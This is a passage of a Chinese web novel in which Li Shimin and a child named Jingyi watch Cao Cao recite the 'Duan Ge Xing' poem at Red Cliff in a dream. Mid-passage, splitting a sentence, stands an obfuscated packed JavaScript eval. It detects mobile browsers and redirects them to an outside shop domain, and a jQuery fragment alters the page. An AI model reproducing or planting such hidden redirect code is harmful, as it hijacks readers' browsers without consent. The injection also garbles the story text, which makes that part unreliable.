李世民心中亦是波澜起伏。亲眼见此人此景,方知史书所载“酾酒临江,横槊赋诗”八字,是何等气象!
他扪心自问,若自己处于此番功业巅峰,面对此情此景,是否也能有这般挥洒自如、睥睨古今的豪情?
大概也会有的。他不自觉地被这股豪情感染,胸中块垒似被冲开,连日思虑的沉重暂且抛却,竟也生出几分“大丈夫当如是”的激赏与共鸣,嘴角不知不觉,也泛起一丝笑意。
此时,曹操将槊尖指向江心月影,朗声吟道:
“对酒当歌,人生几何!
譬如朝露,去日苦多。
慨当以慷,忧思难忘。
何以解忧?唯有杜康。”③
诗句苍凉而慷慨,既有对人生短暂的喟叹,更有及时建功的迫切。李世民精通诗文,对这首《短歌行》自然喜爱。
此
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114031|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诗气韵,确非常人可及。
景颐听得半懂不懂,只觉得调子好听,抑扬顿挫,尤其是“慨当以慷”几个字,念得他小心脏也跟着一颤一颤的,竟不由自主地跟着那韵律,小脑袋一点一点,小手也跟着在空中轻轻打着拍子。
他完全沉浸在这从未体验过的、混合着雄壮、苍凉与激越的奇异氛围里,小脸上满是兴奋的红晕。
曹操吟罢一段,略作停顿,目光扫过席间众臣,扫过连环战船,扫过茫茫大江,复又提高声量,其声更加激昂:
“青青子衿,悠悠我心。
但为君故,沉吟至今。
呦呦鹿鸣,食野之苹。
我有嘉宾,鼓瑟吹笙。”
此句一出,席间文武多有动容。李世民亦是一怔。这求贤若渴之意,殷殷切切,与他“天下英雄入吾彀中”之志,何其相似!
他望着曹操那于豪迈中透出真诚求索的侧影,心中那点因历史结局而生的疏离与批判,竟淡去了几分,取而代之的是一种跨越时空的、对同道者的复杂理解。
景颐更来劲了,他虽然不懂“子衿”、“鹿鸣”的典故,但那“青青”、“呦呦”的叠词好听,节奏明快,他忍不住跟着小声哼哼起来,还模仿着曹操横槊的姿态,捡起地上一根不知谁遗落的短木棍,假装自己也有长槊,笨拙却努力地想要横起来。
曹操浑然不觉有两个跨越时空的旁观者,他已完全沉浸在自身情绪与创作之中,槊尖遥指南岸,声震夜空:
“明明如月,何时可掇?
忧从中来,不可断绝。
越陌度阡,枉用相存。
契阔谈讌,心念旧恩。”
诗句由求贤转入更深沉的忧思与感怀。那“明明如月,何时可掇”之问,何尝不是对圆满功业、对理想境界的渴求与迷茫?
李世民听至此处,方才被带起的豪情稍敛,心中警钟微鸣。巅峰之上,月明至极,然月满则亏,水满则溢。
这诗中流露的忧思,是诗人才情,还是这位一世枭雄,在志得意满之时,心底深处那一丝连自己都未必全然察觉的不安?
他看向曹操。月光下,曹操长髯飘拂,眼中映着江火,豪情之下,那细长的眼眸深处,确有一抹极淡的、难以捕捉的沉郁。
而景颐,听到“忧从中来”,虽不明白具体忧什么,却也能感觉到气氛从刚才的纯粹激昂,变得稍微沉了一点。
他停下挥舞“木槊”,眨巴着眼睛看着曹操,小声对李世民说:“李叔叔,黑胡子爷爷好像有点不高兴了?”
最后,曹操深吸一口江上夜风,将长槊重重一顿,甲板发出“咚”一声闷响,吟出最后、也最为后世传诵的四句:
“月明星稀,乌鹊南飞。
绕树三匝,何枝可依?
山不厌高,海不厌深。
周公吐哺,天下归心!”
“好!好一个‘天下归心’!”席间,一个清瘦的文士忍不住击节赞叹。众文武亦纷纷举杯,齐声贺道:“丞相雄才,天下归心!”
声浪震天,与江涛相应和。
曹操哈哈大笑,举槊向月,意态豪雄,仿佛天下已在掌中。
景颐也被这最后爆发的热烈气氛重新点燃,跟着众人一起“嗷嗷”叫好,举着他的小木棍乱挥,简直比正主还兴奋。
然而,就在这盛宴达到最高潮、豪情与信心似乎膨胀到极致的时刻,梦境毫无征兆地开始波动、淡化。
江月、战船、灯火、曹操那傲然的身影、文武喧哗……
一切如同被水浸湿的壁画,色彩迅速褪去、模糊、溶解。
“哎?怎么没了?”
景颐正挥舞木棍,忽然手上一空,眼前的壮丽景象消失,只剩一片旋转的黑暗,他着急地叫起来,“我还没看够呢!黑胡子爷爷的诗还没念完别的吗?”
李世民亦是心中一空,那澎湃的共鸣与复杂的思虑尚在胸中激荡,场景却已抽离。
他最后一眼,只瞥见曹操在众人的欢呼声中,那转瞬即逝的、微微眯起的眼眸,以及江对岸黑暗中,仿佛潜藏着无尽未知的、沉默的南岸山影。